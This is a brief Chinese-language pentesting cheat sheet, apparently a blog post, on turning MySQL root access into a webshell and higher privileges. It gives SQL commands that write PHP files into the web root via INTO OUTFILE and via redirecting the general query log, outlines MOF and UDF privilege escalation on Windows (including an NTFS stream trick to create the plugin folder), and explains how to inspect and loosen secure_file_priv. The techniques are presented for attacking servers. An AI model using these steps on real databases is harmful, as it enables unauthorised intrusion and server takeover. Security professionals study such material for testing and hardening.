♥喜欢请点个赞吧♥
mysql outfile导出webshell
条件:知道物理路径,root权限,同时mysql需要有write权限,secure_file_priv配置不为null,查看方法:
show global variables like '%secure_file_priv%';
这个参数只能通过修改配置文件后重启mysql修改。
1.select '<?php phpinfo();?>' into outfile 'C:phpStudy/PHPTutorial/WWW/11.php'
2.新建一个表,创建一个空字段,在这个字段里插入php马,再导出
直接导出需要开启安全配置
secure_file_priv参数用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()(读取文件)
mysql日志获取webshell
查看:
SHOW VARIABLES LIKE '%general%'
修改状态:
set global general_log="ON";
修改储存位置:
set global general_log_file='C:/phpStudy/PHPTutorial/WWW/11.php';
写马:
select '<?php phpinfo(); ?>';
只需root权限即可
mof提权
MOF提权的条件要求十分严苛:
windows 03及以下版本
mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
secure-file-priv参数不为null
udf提取
需要知道root账户的密码,目标系统windows
方法1:上传moon.php等大马,进行导出udf,moon.php同样需要secure_file_priv
方法2: 同样需要secure_file_priv
将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
该文件夹默认不存在,可以用ntfs ads流来创建
select @@basedir找到mysql目录
select 'It is dll' into dumpfile 'C:\phpStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION';生成目录
从udf文件中引入自定义函数(user defined function)
执行自定义函数
关闭安全模式方法
查看配置,执行mysql命令
SHOW VARIABLES LIKE "secure_file_priv";
如果value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件(测试子目录也不行),如果为空,则不限制目录;
修改配置可修改mysql配置文件,查看是否有
secure_file_priv =
这样一行内容,如果没有,则手动添加,
secure_file_priv = /home
表示限制为/home文件夹
secure_file_priv =
表示不限制目录,等号一定要有,否则mysql无法启动
修改完配置文件后,重启mysql生效